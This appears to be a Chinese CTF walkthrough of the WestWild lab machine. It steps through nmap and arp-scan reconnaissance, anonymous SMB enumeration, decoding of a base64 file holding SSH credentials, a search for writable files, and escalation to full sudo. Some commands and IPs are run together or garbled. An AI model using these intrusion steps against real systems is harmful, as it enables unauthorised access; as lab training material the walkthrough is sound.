出品｜MS08067实验室（www.ms08067.com）
Kali：192.168.10.106
WestWild：192.168.104
通过arp-scan查找目标主机，确定目标主机IP192.168.10.104
sudo arp-scan --interface eth0 192.168.10.0/24探测靶机开放的端口
sudo nmap -sT --min-rate 10000 -p- 192.168.10.104 -oA nmap/result对刚刚扫出来的端口进行详细的扫描+脚本扫描
sudo nmap -sT -sC -sV -O -p22,80,139,445 192.168.10.104 -oA nmap/detailsudo nmap --script=vuln -p 22,80,139,445 192.168.10.104 -oA nmap/vuln
同时也进行UDP扫描，万一TCP端口没有进展可以尝试UDP端口
sudo nmap -sU --top-ports 20 192.168.10.104 -oA nmap/udp先从80端口开始
尝试下常见的文件，并没有存在
http://192.168.10.106/readme.txthttp://192.168.10.106/robots.txt
用gobuster来爆破
网页源码什么都没什么有用信息，网页上有一张图片下载来看有没有隐写一些信息
80端口没有什么可用信息，只能转头试试看smb服务
sudo smbmap -H 192.168.10.104wave目录是可读的，看看有没有可用的信息
sudo smbmap -H 192.168.10.104promptget message_from_aveng.txtget message_from_aveng.txtexit
FLAG1.txt的内容像是Base64编码后的内容，尝试解码
echo RmxhZzF7V2VsY29tZV9UMF9USEUtVzNTVC1XMUxELUIwcmRlcn0KdXNlcjp3YXZleApwYXNzd29yZDpkb29yK29wZW4K| base64 -d
得到凭据，SSH连接上靶机
ssh wavex@192.168.10.104进行常规的信息收集
! -path '/proc/*'：将/proc/*路径排除2>/dev/null：将错误信息重定向到黑洞find / -writable -type f ! -path '/proc/*' 2>/dev/null
发现一个ififoregt.sh文件
查看内容发现另一个凭据
sudo nmap -sT --min-rate 10000 -p- 192.168.10.104 -oA nmap/result0切换到aveng账号发现其sudo拥有全部权限，可以直接拿下
— 实验室旗下直播培训课程 —
和20000+位同学加入MS08067一起学习
推荐站内搜索：最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论，来说两句吧...